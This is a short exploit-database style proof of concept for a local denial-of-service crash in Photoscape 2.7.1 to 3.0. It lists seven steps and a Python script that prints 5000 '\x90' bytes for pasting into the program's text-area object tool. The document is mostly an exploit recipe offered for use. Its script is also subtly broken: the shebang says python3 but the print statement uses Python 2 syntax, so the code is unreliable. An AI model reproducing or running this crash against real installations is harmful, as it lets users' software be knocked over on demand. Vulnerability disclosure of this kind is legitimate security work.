Photoscape Textarea Denial Of Service

`# Exploit Title: Photoscape 2.7.1 < 3.0 - 'Textarea' Denial of Service  
(PoC)  
# Author: HexraiN  
# Date: 2020-04-10  
# Vendor Homepage: http://www.photoscape.org/  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: Parrot OS , Windows 10  
  
Steps to Produce the Crash:  
1.- Run Python Exploit  
2.- Copy output to clipboard  
3.- Open Photoscape  
4.- Select Any image  
5.- Go To Menu > Object and select Create  
6.- Paste ClipBoard on "Textarea"  
7.- Crashed..  
  
  
PoC :  
  
#!/usr/bin/python3  
  
buf = ""  
buf += "\x90"*5000  
  
print buf  
`